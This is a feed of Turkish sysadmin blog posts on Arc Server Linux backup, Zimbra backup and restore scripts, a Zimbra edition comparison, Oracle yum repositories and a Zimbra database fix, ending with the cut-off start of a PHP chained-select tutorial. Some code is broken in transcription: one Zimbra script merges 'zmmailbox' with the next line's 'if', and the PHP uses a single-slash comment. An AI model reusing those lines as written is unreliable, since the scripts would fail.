# items

title: Arc Server ile Linux Agent Kurulumu & Backup Recovery
source: http://www.idriskoc.com/?p=141
author: admin
description:
<p><a href="http://twitter.com/share?url=http%3A%2F%2Fwww.idriskoc.com%2F%3Fp%3D141&amp;via=idriskoc&amp;related=idriskoc&amp;text=Arc Server ile Linux Agent Kurulumu & Backup Recovery " class="twitter-share-button">Tweet</a></p><p>ARC SERVER İLE LİNÜX AGENT KURULUMU VE BACKUP RECOVERY</p>
<p>Size arc server yardımı ile linüx backup ve recovery nasıl yapılır onu anlatmaya çalışcam<br />
İlk önce linüx sunucumuzun bütün update’lerini yapalım<br />
ARC server içerisinen çıkan cd yı sunucumuza takalım<br />
Linüx sunucumuz citrix xen sucunu üzerine kurulu ise şu adımları izleyelim lütfen.<br />
<a href="http://www.idriskoc.com/?attachment_id=146" rel="attachment wp-att-146"><img class="alignnone size-full wp-image-146" title="1" src="http://www.idriskoc.com/wp-content/upload/2012/04/12.jpg" alt="" width="604" height="132" /></a><br />
Cdrom mount etmek için klasör oluşturalım ( mkdir /mnt/cdrom )<br />
<a href="http://www.idriskoc.com/?attachment_id=147" rel="attachment wp-att-147"><img class="alignnone size-full wp-image-147" title="2" src="http://www.idriskoc.com/wp-content/upload/2012/04/2.jpg" alt="" width="604" height="310" /></a><br />
Daha sonra mount edeceğimiz sürücü yoluna bakmak için ( fdisk –l ) ile bakıyoruz ( /dev/xvdd )<br />
<a href="http://www.idriskoc.com/?attachment_id=148" rel="attachment wp-att-148"><img class="alignnone size-full wp-image-148" title="3" src="http://www.idriskoc.com/wp-content/upload/2012/04/31.jpg" alt="" width="604" height="143" /></a><br />
Şimdi yapacağımız işlem mount işlemini gerçekleştirmek.<br />
# ( mount –t iso9660 /dev/xvdd /mnt/cdrom/ )<br />
# ls –l /mnt/cdrom komutu ile mount ettiğimiz cdrom içerisine göz atalım<br />
<a href="http://www.idriskoc.com/?attachment_id=149" rel="attachment wp-att-149"><img class="alignnone size-full wp-image-149" title="4" src="http://www.idriskoc.com/wp-content/upload/2012/04/42.jpg" alt="" width="604" height="164" /></a><br />
Şimdi Kurulum işlemine başlaya biliriz .<br />
cd /mnt/cdrom/DataMoverandAgent/Linux içerisine girelim<br />
Eğer Linüx işletim sistemimiz normal sunucu üzerine kurulu ise aşağıdaki komutları girmemiz yeterlidir.<br />
mount -t iso9660 /dev/cdrom /mnt/cdrom<br />
cd /mnt/cdrom/DataMoverandAgent/Linux<br />
./install<br />
<a href="http://www.idriskoc.com/?attachment_id=150" rel="attachment wp-att-150"><img class="alignnone size-full wp-image-150" title="5" src="http://www.idriskoc.com/wp-content/upload/2012/04/51.jpg" alt="" width="604" height="132" /></a><br />
İnstall dedikten sonra ( YES ) diyelim sonra sında karşımıza kullanıcı sözleşmesi gelecektir.<br />
<a href="http://www.idriskoc.com/?attachment_id=151" rel="attachment wp-att-151"><img class="alignnone size-full wp-image-151" title="6" src="http://www.idriskoc.com/wp-content/upload/2012/04/61.jpg" alt="" width="604" height="401" /></a><br />
<a href="http://www.idriskoc.com/?attachment_id=152" rel="attachment wp-att-152"><img class="alignnone size-full wp-image-152" title="7" src="http://www.idriskoc.com/wp-content/upload/2012/04/71.jpg" alt="" width="604" height="201" /></a><br />
Karşımıza gelen seçeneklere ( Y ) diyerek devam ediyoruz.<br />
<a href="http://www.idriskoc.com/?attachment_id=153" rel="attachment wp-att-153"><img class="alignnone size-full wp-image-153" title="8" src="http://www.idriskoc.com/wp-content/upload/2012/04/8.jpg" alt="" width="604" height="269" /></a><br />
Kuruluma Devam ediyoruz.<br />
<a href="http://www.idriskoc.com/?attachment_id=154" rel="attachment wp-att-154"><img class="alignnone size-full wp-image-154" title="9" src="http://www.idriskoc.com/wp-content/upload/2012/04/9.jpg" alt="" width="604" height="361" /></a><br />
<a href="http://www.idriskoc.com/?attachment_id=155" rel="attachment wp-att-155"><img class="alignnone size-full wp-image-155" title="10" src="http://www.idriskoc.com/wp-content/upload/2012/04/10.jpg" alt="" width="578" height="151" /></a><br />
Linüx ‘a Kurulumu Tamamladıktan sonra Arc server Manager açıyoruz<br />
<a href="http://www.idriskoc.com/?attachment_id=160" rel="attachment wp-att-160"><img class="alignnone size-full wp-image-160" title="11" src="http://www.idriskoc.com/wp-content/upload/2012/04/111.jpg" alt="" width="604" height="452" /></a><br />
Administration altında Device açalım sonucu özerinde mauseden sağ tık yaptıktan sonra Create Disk-based Devices tıklayalalım.<br />
<a href="http://www.idriskoc.com/?attachment_id=161" rel="attachment wp-att-161"><img class="alignnone size-full wp-image-161" title="12" src="http://www.idriskoc.com/wp-content/upload/2012/04/121.jpg" alt="" width="604" height="286" /></a><br />
Device Name yazalım Data File Location yedeği nereye alacağımız yolu belirleyelim.<br />
<a href="http://www.idriskoc.com/?attachment_id=162" rel="attachment wp-att-162"><img class="alignnone size-full wp-image-162" title="13" src="http://www.idriskoc.com/wp-content/upload/2012/04/13.jpg" alt="" width="604" height="362" /></a><br />
<a href="http://www.idriskoc.com/?attachment_id=163" rel="attachment wp-att-163"><img class="alignnone size-full wp-image-163" title="14" src="http://www.idriskoc.com/wp-content/upload/2012/04/14.jpg" alt="" width="688" height="526" /></a><br />
Sırası ile yapalım<br />
<a href="http://www.idriskoc.com/?attachment_id=164" rel="attachment wp-att-164"><img class="alignnone size-full wp-image-164" title="15" src="http://www.idriskoc.com/wp-content/upload/2012/04/15.jpg" alt="" width="604" height="528" /></a><br />
Backup almak istediğimiz dosya seçiyoruz ben bütün system yedeğini alıyorum .</p>
<p><a href="http://www.idriskoc.com/?attachment_id=166" rel="attachment wp-att-166"><img class="alignnone size-full wp-image-166" title="16" src="http://www.idriskoc.com/wp-content/upload/2012/04/16.jpg" alt="" width="691" height="326" /></a><br />
Destination tıklayalım ardından Submit diyelim çıkan ekrana ikide defa OK diyelim ve Backup Başlamıştır.<br />
<a href="http://www.idriskoc.com/?attachment_id=167" rel="attachment wp-att-167"><img class="alignnone size-full wp-image-167" title="17" src="http://www.idriskoc.com/wp-content/upload/2012/04/17.jpg" alt="" width="604" height="410" /></a><br />
ARC Server ile aldığımız Linüx Sunucunun Backup dosyasını restore etmek.<br />
<a href="http://www.idriskoc.com/?attachment_id=168" rel="attachment wp-att-168"><img class="alignnone size-full wp-image-168" title="18" src="http://www.idriskoc.com/wp-content/upload/2012/04/18.jpg" alt="" width="669" height="401" /></a><br />
Restore by Session seçelim Sessions kısmında aldığımız en son backup seçelim ardından Destination tıklayalım.<br />
Restore files ( Original Location ) olarak kalsın Submit Tıklayalım Karşımıza gelen ekrana OK diyelim .<br />
<a href="http://www.idriskoc.com/?attachment_id=169" rel="attachment wp-att-169"><img class="alignnone size-full wp-image-169" title="19" src="http://www.idriskoc.com/wp-content/upload/2012/04/19.jpg" alt="" width="774" height="305" /></a></p>


title: Zimbra Backup and Restore
source: http://www.idriskoc.com/?p=183
author: admin
description:
<p><a href="http://twitter.com/share?url=http%3A%2F%2Fwww.idriskoc.com%2F%3Fp%3D183&amp;via=idriskoc&amp;related=idriskoc&amp;text=Zimbra Backup and Restore " class="twitter-share-button">Tweet</a></p><p>BACKUP<br />
<span style="color: #000000;">Script 1</span> Bu betik root olarak çalıştırılması gerekir, bu komut runBackupAll.sh çalışır ve aynı zamanda ikinci bir makineye tüm yedekleme gönderir.</p>
<p>echo<span style="color: #008000;"> &#8220;*******************************************************&#8221;</span><br />
echo <span style="color: #008000;">&#8220;* Zimbra &#8211; Backup all email accounts *&#8221;</span><br />
echo <span style="color: #008000;">&#8220;*******************************************************&#8221;</span><br />
echo<span style="color: #008000;">&#8220;&#8221;</span><br />
#<br />
echo Start time of the backup = $(date +%T)<br />
before<span style="color: #008000;">=&#8221;$(date +%s)&#8221;</span><br />
#<br />
echo &#8220;&#8221;<br />
ZHOME=<span style="color: #008000;">/opt/</span>zimbra<br />
ZBACKUP=$ZHOME/backup/mailbox<br />
echo <span style="color: #008000;">&#8220;Generating backup files &#8230;&#8221;</span><br />
su &#8211; zimbra -c <span style="color: #008000;">&#8220;/opt/backup/SCRIPT_ZIBRA_BACKUP_ALL_ACCOUNTS/zimbra_backup_allaccounts.sh&#8221;</span><br />
echo <span style="color: #008000;">&#8220;Sending files to backup all email accounts for Machine2 &#8230;&#8221;</span><br />
rsync -avH $ZBACKUP root@ipaddress:/backup/zimbra_backup_accounts<br />
before2=<span style="color: #008000;">&#8220;$(date +%s)&#8221;</span><br />
#<br />
echo The process lasted = $(date +%T)<br />
# Calculating time<br />
after=<span style="color: #008000;">&#8220;$(date +%s)&#8221;</span><br />
elapsed=<span style="color: #008000;">&#8220;$(expr $after &#8211; $before)&#8221;</span><br />
hours=$(($elapsed / 3600))<br />
elapsed=$(($elapsed &#8211; $hours * 3600))<br />
minutes=$(($elapsed / 60))<br />
seconds=$(($elapsed &#8211; $minutes * 60))<br />
echo The complete backup lasted : &#8220;$hours hours $minutes minutes $seconds seconds&#8221;</p>
<p><span style="color: #000000;">Script 2</span> zimbraBackupAllAccounts.sh</p>
<p>ZHOME=/opt/zimbra<br />
ZBACKUP=$ZHOME/backup/mailbox<br />
ZCONFD=$ZHOME/conf<br />
DATE=`date +&#8221;%a&#8221;`<br />
ZDUMPDIR=$ZBACKUP/$DATE<br />
ZMBOX=/opt/zimbra/bin/zmmailboxif<br />
[ ! -d $ZDUMPDIR ]; then<br />
mkdir -p $ZDUMPDIR<br />
fi<br />
echo &#8221; Running zmprov &#8230; &#8221;<br />
for mbox in `zmprov -l gaa`<br />
do<br />
echo &#8221; Generating files from backup $mbox &#8230;&#8221;<br />
$ZMBOX -z -m $mbox getRestURL &#8220;//?fmt=zip&#8221; &gt; $ZDUMPDIR/$mbox.zip<br />
done</p>
<p>RESTORE<br />
Script 3 zimbra_restore_allaccounts.sh<br />
echo &#8220;*******************************************************&#8221;<br />
echo &#8220;* Zimbra &#8211; Restore all email accounts *&#8221;<br />
echo &#8220;*******************************************************&#8221;<br />
echo &#8220;&#8221;<br />
#<br />
echo Start Time Restore = $(date +%T)<br />
before=&#8221;$(date +%s)&#8221;<br />
#<br />
echo &#8220;&#8221;<br />
echo &#8220;Starting the process restore the backup files &#8230;&#8221;<br />
su &#8211; zimbra -c &#8220;/opt/zimbra_backup_accounts/zimbra_restore_allaccounts.sh&#8221;<br />
before2=&#8221;$(date +%s)&#8221;<br />
echo The process lasted = $(date +%T)<br />
# Calculating time<br />
after=&#8221;$(date +%s)&#8221;<br />
elapsed=&#8221;$(expr $after &#8211; $before)&#8221;<br />
hours=$(($elapsed / 3600))<br />
elapsed=$(($elapsed &#8211; $hours * 3600))<br />
minutes=$(($elapsed / 60))<br />
seconds=$(($elapsed &#8211; $minutes * 60))<br />
echo &#8220;The complete restore lasted : &#8220;$hours hours $minutes minutes $seconds seconds&#8221;<br />
echo &#8220;Process completed successfully!&#8221;</p>
<p>Script 4<br />
zimbra_restore_allaccounts.sh</p>
<p>#!/bin/bash<br />
ZHOME=/opt/zimbra<br />
#!/bin/bash<br />
ZHOME=/opt/zimbra<br />
#ZBACKUP=$ZHOME/backup/mailbox<br />
ZBACKUP=/opt/zimbra_backup_accounts/mailbox<br />
ZCONFD=$ZHOME/conf<br />
DATE=`date +&#8221;%a&#8221;`<br />
ZDUMPDIR=$ZBACKUP/$DATE<br />
ZMBOX=/opt/zimbra/bin/zmmailbox<br />
if [ ! -d $ZDUMPDIR ]; then<br />
echo &#8220;Backups do not exist !&#8221;<br />
exit 255;<br />
fi<br />
for mbox in `zmprov -l gaa`<br />
do<br />
echo &#8221; Restoring files from backup $mbox &#8230;&#8221;<br />
$ZMBOX -z -m $mbox postRestURL &#8220;//?fmt=zip&amp;resolve=reset&#8221; $ZDUMPDIR/$mbox.zip<br />
done</p>
<p>Kaynak :  <a href="http://wiki.zimbra.com/wiki/Backing_up_and_restoring_Zimbra_%28Open_Source_Version%29#Another_option">http://wiki.zimbra.com/wiki/Backing_up_and_restoring_Zimbra_%28Open_Source_Version%29#Another_option</a></p>
<p><a href="http://sourceforge.net/projects/zimbra/files/">http://sourceforge.net/projects/zimbra/files/</a></p>
<p>&nbsp;</p>
<p>&nbsp;</p>


title: Compare Zimbra Products
source: http://www.idriskoc.com/?p=240
author: admin
description:
<p><a href="http://twitter.com/share?url=http%3A%2F%2Fwww.idriskoc.com%2F%3Fp%3D240&amp;via=idriskoc&amp;related=idriskoc&amp;text=Compare Zimbra Products" class="twitter-share-button">Tweet</a></p><h1><span><span>Zimbra Ürünleri Karşılaştır</span></span></h1>
<p><span><span>Zimbra mevcuttur </span></span><strong><span><span>iki sunucu ürün sürümleri</span></span></strong><span><span> : </span></span><a href="http://www.zimbra.com/products/zimbra-collaboration-suite.html"><span><span>ZCS Open Source Edition</span></span></a><span><span> ve </span></span><a href="http://www.zimbra.com/products/zimbra-collaboration-suite.html"><span><span>ZCS Network Edition</span></span></a><span><span> (Starter, Standard ve Professional). </span><span>Ya kuruluş veya barındırma sağlayıcıları tarafından-tesislerinde dağıtılabilir.</span></span></p>
<table id="compare-products" width="960" border="0" cellspacing="0" cellpadding="0">
<tbody>
<tr>
<th></th>
<th>
<h2><a href="http://www.zimbra.com/products/zimbra-collaboration-suite.html"><span><span>ZCS Open Source Edition</span></span></a></h2>
</th>
<th colspan="2">
<h2><a href="http://www.zimbra.com/products/zimbra-collaboration-suite.html"><span><span>ZCS Network Edition</span></span></a></h2>
</th>
</tr>
<tr>
<td></td>
<td></td>
<td><span><span>STARTER</span></span></td>
<td><span><span>STANDARD &amp; PRO</span></span></td>
</tr>
<tr>
<td></td>
<td><span><span>Sınırsız Kullanıcılar</span></span></td>
<td><span><span>15 Kullanıcılar Max</span></span></td>
<td><span><span>Neye ihtiyacınız Lisans</span></span></td>
</tr>
<tr>
<td width="130"><span><span>Web Uygulaması</span></span></td>
<td><span><span>ZCS Open Source Edition</span></span></td>
<td colspan="2"><span><span>ZCS Network Edition</span></span></td>
</tr>
<tr>
<td><span><span>AJAX E-posta, Adres Defteri, Takvim, Görev ve Evrak app</span></span></td>
<td><span><span>•</span></span></td>
<td><span><span>•</span></span></td>
<td><span><span>•</span></span></td>
</tr>
<tr>
<td><span><span>Büyük gelen kutuları için gelişmiş arama ve dosya indeksleme</span></span></td>
<td></td>
<td><span><span>•</span></span></td>
<td><span><span>•</span></span></td>
</tr>
<tr>
<td><span><span>Yeniden markalaşma</span></span></td>
<td></td>
<td><span><span>•</span></span></td>
<td><span><span>•</span></span></td>
</tr>
<tr>
<td><span><span>Masaüstü İstemciler</span></span></td>
<td><span><span>ZCS Open Source Edition</span></span></td>
<td colspan="2"><span><span>ZCS Network Edition</span></span></td>
</tr>
<tr>
<td><span><span>Windows, Mac ve Linux için Zimbra Desktop</span></span></td>
<td><span><span>•</span></span></td>
<td><span><span>•</span></span></td>
<td><span><span>•</span></span></td>
</tr>
<tr>
<td><span><span>POP / IMAP e-posta</span></span></td>
<td><span><span>•</span></span></td>
<td><span><span>•</span></span></td>
<td><span><span>•</span></span></td>
</tr>
<tr>
<td><span><span>Kişi ve takvim için CardDAV, iCal ve CalDAV</span></span></td>
<td><span><span>•</span></span></td>
<td><span><span>•</span></span></td>
<td><span><span>•</span></span></td>
</tr>
<tr>
<td><span><span>Microsoft Outlook e-posta, İletişim, Takvim ve Görev senk</span></span></td>
<td></td>
<td><span><span>•</span></span></td>
<td><span><span>•</span></span><span><span>Sadece Pro</span></span></td>
</tr>
<tr>
<td><span><span>Mobil Cihazlar</span></span></td>
<td><span><span>ZCS Open Source Edition</span></span></td>
<td colspan="2"><span><span>ZCS Network Edition</span></span></td>
</tr>
<tr>
<td><span><span>AJAX Mobil Web Tarayıcı</span></span></td>
<td><span><span>•</span></span></td>
<td><span><span>•</span></span></td>
<td><span><span>•</span></span></td>
</tr>
<tr>
<td><span><span>iPhone E-posta, İletişim, Takvim eşitleme</span></span></td>
<td></td>
<td><span><span>•</span></span></td>
<td><span><span>•</span></span></td>
</tr>
<tr>
<td><span><span>Windows Mobile ve diğer akıllı telefon E-posta</span></span></td>
<td></td>
<td><span><span>•</span></span></td>
<td><span><span>•</span></span></td>
</tr>
<tr>
<td><span><span>Windows Mobile ve diğer akıllı telefon Kişi, Takvim, Görev senk</span></span></td>
<td></td>
<td></td>
<td><span><span>•</span></span><span><span>Sadece Pro</span></span></td>
</tr>
<tr>
<td><span><span>BlackBerry E-posta, İletişim, Takvim eşitleme</span></span></td>
<td></td>
<td><span><span>•</span></span></td>
<td><span><span>•</span></span></td>
</tr>
<tr>
<td><span><span>Sunucu</span></span></td>
<td><span><span>ZCS Open Source Edition</span></span></td>
<td colspan="2"><span><span>ZCS Network Edition</span></span></td>
</tr>
<tr>
<td><span><span>E-posta, Adres Defteri, Takvim, Görev ve Dosya Sunucusu</span></span></td>
<td><span><span>•</span></span></td>
<td><span><span>•</span></span></td>
<td><span><span>•</span></span></td>
</tr>
<tr>
<td><span><span>Gerçek zamanlı yedekleme ve geri yükleme</span></span></td>
<td></td>
<td><span><span>•</span></span></td>
<td><span><span>•</span></span></td>
</tr>
<tr>
<td><span><span>Kümeleme / Yüksek Kullanılabilirlik</span></span></td>
<td></td>
<td><span><span>•</span></span></td>
<td><span><span>•</span></span></td>
</tr>
<tr>
<td><span><span>Çok kiracılık</span></span></td>
<td></td>
<td><span><span>•</span></span></td>
<td><span><span>•</span></span></td>
</tr>
<tr>
<td><span><span>Alan Yönetimi ve Rol tabanlı Delege</span></span></td>
<td></td>
<td><span><span>•</span></span></td>
<td><span><span>•</span></span></td>
</tr>
<tr>
<td><span><span>&amp; Discovery Arşivleme E-posta</span></span></td>
<td></td>
<td></td>
<td><span><span>•</span></span><span><span>Sadece Pro</span></span></td>
</tr>
<tr>
<td><span><span>Zimbra Destek</span></span></td>
<td><span><span>ZCS Open Source Edition</span></span></td>
<td colspan="2"><span><span>ZCS Network Edition</span></span></td>
</tr>
<tr>
<td><span><span>Topluluk Desteği</span></span></td>
<td><span><span>•</span></span></td>
<td><span><span>•</span></span></td>
<td><span><span>•</span></span></td>
</tr>
<tr>
<td><span><span>E-posta, telefon desteği ve 7/24 acil servis</span></span></td>
<td></td>
<td></td>
<td><span><span>•</span></span></td>
</tr>
<tr>
<td><span><span>Özelleştirme ve göç için Profesyonel Hizmetler erişim</span></span></td>
<td></td>
<td></td>
<td><span><span>•</span></span></td>
</tr>
<tr>
<td></td>
<td><span><span>Open Source Edition Free İndir</span><a href="http://www.zimbra.com/products/download_opensource.html"><span>Download Now</span></a></span></td>
<td colspan="4"><span><span>Zimbra Network Edition Ücretsiz 60 Günlük Ücretsiz Deneme</span><a href="http://www.zimbra.com/products/download_network.html"><span>Bedava Deneme</span></a><a href="https://buy.zimbra.com/zcs/step1.php"><span>Hemen Al Network Edition</span></a></span></td>
</tr>
</tbody>
</table>


title: Public Yum Server
source: http://www.idriskoc.com/?p=264
author: admin
description:
<p><a href="http://twitter.com/share?url=http%3A%2F%2Fwww.idriskoc.com%2F%3Fp%3D264&amp;via=idriskoc&amp;related=idriskoc&amp;text=Public Yum Server" class="twitter-share-button">Tweet</a></p><h4></h4>
<ul>
<li><a href="http://edelivery.oracle.com/linux">Download and Install Oracle Linux</a></li>
<li>Download and copy the appropriate yum configuration file in place, by running the following commands as root:<br />
<h4>Oracle Linux 4, Update 6 or Newer</h4>
</li>
</ul>
<p>Kaynak : <a href="http://public-yum.oracle.com/">http://public-yum.oracle.com/</a><br />
# cd /etc/yum.repos.d<br />
# mv Oracle-Base.repo Oracle-Base.repo.disabled<br />
# wget http://public-yum.oracle.com/public-yum-el4.repo</p>
<p>Oracle Linux 5<br />
# cd /etc/yum.repos.d<br />
# wget http://public-yum.oracle.com/public-yum-el5.repo</p>
<p>Oracle Linux 6<br />
# cd /etc/yum.repos.d<br />
# wget http://public-yum.oracle.com/public-yum-ol6.repo</p>
<p>Oracle VM 2<br />
# cd /etc/yum.repos.d<br />
# wget http://public-yum.oracle.com/public-yum-ovm2.repo</p>
<p>Enable the appropriate repository by editing the yum configuration file</p>
<p>Open the yum configuration file in a text editor<br />
Locate the section in the file for the repository you plan to update from, e.g. [el4_u6_base]<br />
Change enabled=0 to enabled=1<br />
Begin using yum, for example:</p>
<p>yum list</p>
<p>yum install firefox</p>
<p>&nbsp;</p>


title: zimbra Database Integrity check report
source: http://www.idriskoc.com/?p=316
author: admin
description:
<p><a href="http://twitter.com/share?url=http%3A%2F%2Fwww.idriskoc.com%2F%3Fp%3D316&amp;via=idriskoc&amp;related=idriskoc&amp;text=zimbra Database Integrity check report " class="twitter-share-button">Tweet</a></p><address>zimbra 7.* sürümlerinde   Zimbra Database Integrity check report for mysql check rapor hatası bu hata sorun teşkil edecek derecede değildir zimbra 7.2 sürümünde bu hata giderilmiştir.</address>
<address>sorunu gidermek için adımları izleyelim.</address>
<address><span style="color: #ff0000;">[zimbra@mail libexec]$ /opt/zimbra/libexec/zmdbintegrityreport</span><br />
Database errors found.<br />
/opt/zimbra/mysql/bin/mysqlcheck &#8211;defaults-file=/opt/zimbra/conf/my.cnf -S /opt/zimbra/db/mysql.sock -A -C -s -u root &#8211;password=XXXXXXXX<br />
mysql.general_log<br />
Error : You can&#8217;t use locks with log tables.<br />
mysql.slow_log</address>
<address><span style="color: #ff0000;">[zimbra@mail libexec]$ /opt/zimbra/libexec/scripts/migrate20100913-Mysql51.pl</span><br />
Adding mboxgroup1.mail_item to be optimized<br />
Adding mboxgroup1.appointment to be optimized<br />
Adding mboxgroup1.imap_folder to be optimized<br />
Adding mboxgroup1.imap_message to be optimized<br />
Adding mboxgroup1.open_conversation to be optimized<br />
Adding mboxgroup1.pop3_message to be optimized<br />
Adding mboxgroup1.revision to be optimized<br />
Adding mboxgroup1.tombstone to be optimized<br />
Adding mboxgroup1.data_source_item to be optimized<br />
Adding mboxgroup2.mail_item to be optimized<br />
Adding mboxgroup2.appointment to be optimized<br />
Adding mboxgroup2.imap_folder to be optimized<br />
Adding mboxgroup2.imap_message to be optimized<br />
Adding mboxgroup2.open_conversation to be optimized<br />
Adding mboxgroup2.pop3_message to be optimized<br />
Adding mboxgroup2.revision to be optimized<br />
Adding mboxgroup2.tombstone to be optimized<br />
Adding mboxgroup2.data_source_item to be optimized<br />
Adding mboxgroup3.mail_item to be optimized<br />
Adding mboxgroup3.appointment to be optimized<br />
Adding mboxgroup3.imap_folder to be optimized<br />
Adding mboxgroup3.imap_message to be optimized<br />
Adding mboxgroup3.open_conversation to be optimized<br />
Adding mboxgroup3.pop3_message to be optimized<br />
Adding mboxgroup3.revision to be optimized<br />
Adding mboxgroup3.tombstone to be optimized<br />
Adding mboxgroup3.data_source_item to be optimized<br />
Adding zimbra.volume to be optimized<br />
Adding zimbra.current_volumes to be optimized<br />
Adding zimbra.mailbox to be optimized<br />
Adding zimbra.deleted_account to be optimized<br />
Adding zimbra.mailbox_metadata to be optimized<br />
Adding zimbra.out_of_office to be optimized<br />
Adding zimbra.config to be optimized<br />
Adding zimbra.table_maintenance to be optimized<br />
Adding zimbra.scheduled_task to be optimized<br />
Adding zimbra.mobile_devices to be optimized<br />
&#8230;&#8230;&#8230;&#8230;.</address>
<p>Altered 3 mailbox groups in 12 seconds</p>
<p><span style="color: #ff0000;">[zimbra@mail libexec]$ /opt/zimbra/libexec/zmdbintegrityreport</span><br />
Database errors found.<br />
/opt/zimbra/mysql/bin/mysqlcheck &#8211;defaults-file=/opt/zimbra/conf/my.cnf -S /opt/zimbra/db/mysql.sock -A -C -s -u root &#8211;password=XXXXXXXX<br />
mysql.general_log<br />
Error : You can&#8217;t use locks with log tables.<br />
mysql.slow_log<br />
Error : You can&#8217;t use locks with log tables.</p>
<p><span style="color: #ff0000;">[zimbra@mail libexec]$ /opt/zimbra/libexec/zmdbintegrityreport &#8211;help</span><br />
Usage: /opt/zimbra/libexec/zmdbintegrityreport [-m] [-v] [-h] [-r]<br />
-m emails report to admin account, otherwise report is presented on stdout<br />
-v verbose output<br />
-r attempt auto repair of tables<br />
-h help</p>
<p><span style="color: #ff0000;">[zimbra@mail libexec]$ /opt/zimbra/libexec/zmdbintegrityreport -r</span><br />
Database errors found.<br />
/opt/zimbra/mysql/bin/mysqlcheck &#8211;defaults-file=/opt/zimbra/conf/my.cnf -S /opt/zimbra/db/mysql.sock -A -C -s -u root &#8211;auto-repair &#8211;password=XXXXXXXX<br />
mysql.general_log<br />
Error : You can&#8217;t use locks with log tables.<br />
mysql.slow_log<br />
Error : You can&#8217;t use locks with log tables.</p>
<p><span style="color: #ff0000;">[zimbra@mail ~]$ zmcontrol stop</span><br />
Host mail.idriskoc.com<br />
Stopping zmconfigd&#8230;Done.<br />
Stopping stats&#8230;Done.<br />
Stopping mta&#8230;Done.<br />
Stopping spell&#8230;Done.<br />
Stopping snmp&#8230;Done.<br />
Stopping cbpolicyd&#8230;Done.<br />
Stopping archiving&#8230;Done.<br />
Stopping antivirus&#8230;Done.<br />
Stopping antispam&#8230;Done.<br />
Stopping imapproxy&#8230;Done.<br />
Stopping memcached&#8230;Done.<br />
Stopping mailbox&#8230;Done.<br />
Stopping logger&#8230;Done.<br />
Stopping ldap&#8230;Done.</p>
<p><span style="color: #ff0000;">[root@mail ~]# cd /opt/zimbra/db/data/mysql</span></p>
<p><span style="color: #ff0000;">[root@mail mysql]# ls -al *log.frm</span><br />
-rw-rw&#8212;-. 1 zimbra zimbra 8776 May 25 15:41 general_log.frm<br />
-rw-rw&#8212;-. 1 zimbra zimbra 8976 May 25 15:41 slow_log.frm</p>
<p><span style="color: #ff0000;">[root@mail mysql]# mv *log.frm /tmp/</span></p>
<p><span style="color: #ff0000;">[root@mail mysql]# ls -al *log.frm</span><br />
ls: cannot access *log.frm: No such file or directory</p>
<p><span style="color: #ff0000;">[root@mail mysql]# su &#8211; zimbra</span></p>
<p><span style="color: #ff0000;">[zimbra@mail ~]$ zmcontrol start</span><br />
Host mail.idriskoc.com<br />
Starting ldap&#8230;Done.<br />
Starting zmconfigd&#8230;Done.<br />
Starting logger&#8230;Done.<br />
Starting mailbox&#8230;Done.<br />
Starting antispam&#8230;Done.<br />
Starting antivirus&#8230;Done.<br />
Starting snmp&#8230;Done.<br />
Starting spell&#8230;Done.<br />
Starting mta&#8230;Done.<br />
Starting stats&#8230;Done.</p>
<p><span style="color: #ff0000;">[zimbra@mail ~]$ /opt/zimbra/libexec/zmdbintegrityreport -r</span></p>
<blockquote><p><em>no errors, no warning..</em></p></blockquote>
<p><span style="color: #ff0000;">[zimbra@mail~]$ cd /opt/zimbra/db/data/mysql</span></p>
<p><span style="color: #ff0000;">[zimbra@mail mysql]$ ls -al *log.frm</span><br />
ls: cannot access *log.frm: No such file or directory</p>
<p>[zimbra@mail mysql]$</p>


title: PHP:AJAX:jQuery: Chained Select – İl & İlçe Seçimi
source: http://www.serpito.com/php-ajax-chained-select-il-ilce-secimi/
author: Atilla Akoğlu
description:
<p><img class="alignleft size-medium wp-image-1512" title="Ajax Select Chained" src="http://www.serpito.com/wp-content/uploads/chained-300x154.jpg" alt="" width="300" height="154" />Web geliştiriciler için küçük ama kafa ağrıtan bu uygulamayı kısaca paketleyip demo atmak istedim.  Lazım olduğunda bakmak üzere elimizin altında dursun.</p>
<p>Ajax methoduyla dinamik il ilçe seçimi için öncelikle Türkiye İl ve İlçe veritabanına ihtiyacımız var (Uygulama için hazırladığım download paketinde bulabilirsiniz).</p>
<p>Adım adım kodlamaya geçelim;</p>
<p>&nbsp;</p>
<h3>1. Adım &#8211; index.php</h3>
<p>&nbsp;</p>
<pre class="brush: php; ">

&lt;?php
@ob_start();
@session_start();
require_once(&quot;mysql.php&quot;);  / uygulamamızın veritabanı işlemleri için gerekli olan bağlantı dosyası
?&gt;
&lt;!DOCTYPE html PUBLIC &quot;-//W3C//DTD XHTML 1.0 Transitional//EN&quot; &quot;http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd&quot;&gt;
&lt;html xmlns=&quot;http://www.w3.org/1999/xhtml&quot; dir=&quot;ltr&quot; lang=&quot;tr-TR&quot;&gt;
&lt;head profile=&quot;http://gmpg.org/xfn/11&quot;&gt;
&lt;meta http-equiv=&quot;content-type&quot; content=&quot;text/html; charset=UTF-8&quot; /&gt;
&lt;title&gt;Serpito - Ajax Chain Select - İl ilçe seçimi&lt;/title&gt;
&lt;script src=&quot;http://ajax.googleapis.com/ajax/libs/jquery/1.7.1/jquery.min.js&quot; type=&quot;text/javascript&quot;&gt;&lt;/script&gt;
&lt;style&gt;
select { width:150px; line-height:22px; padding:4px; background-color:#F8F8F8; border:1px solid #F8EBDC; float:left; margin-right:15px;}
select option{line-height:22px;}
&lt;/style&gt;

&lt;/head&gt;
&lt;body&gt;
&lt;div id=&quot;wrapperpub&quot;&gt;
&lt;div id=&quot;header&quot;&gt;
&lt;div style=&quot;width:550px; float:left;&quot;&gt;
&lt;h1 id=&quot;blog-title&quot;&gt;&lt;a href=&quot;http://www.serpito.com/&quot; title=&quot;Serpito&quot;&gt;Serpito&lt;/a&gt;&lt;/h1&gt;
&lt;div&gt;Güncel Teknoloji ve Yazılım Blogu &lt;/div&gt;
&lt;/div&gt;&lt;!-- dp100 --&gt;
&lt;div style=&quot;width:300px; float:right;&quot;&gt;
&lt;a style=&quot;font:2.4em/1.5 museo-sans-500,helvetica,arial,sans-serif; color:#FFF;&quot; href=&quot;http://www.serpito.com/php-ajax-chained-select-il-ilce-secimi/&quot;&gt;Yazıya geri dön &amp;amp;amp;amp;not;&lt;/a&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;!--  #header --&gt;
&lt;/div&gt;&lt;!--  #wrapperpub --&gt;

&lt;div&gt;&lt;/div&gt;

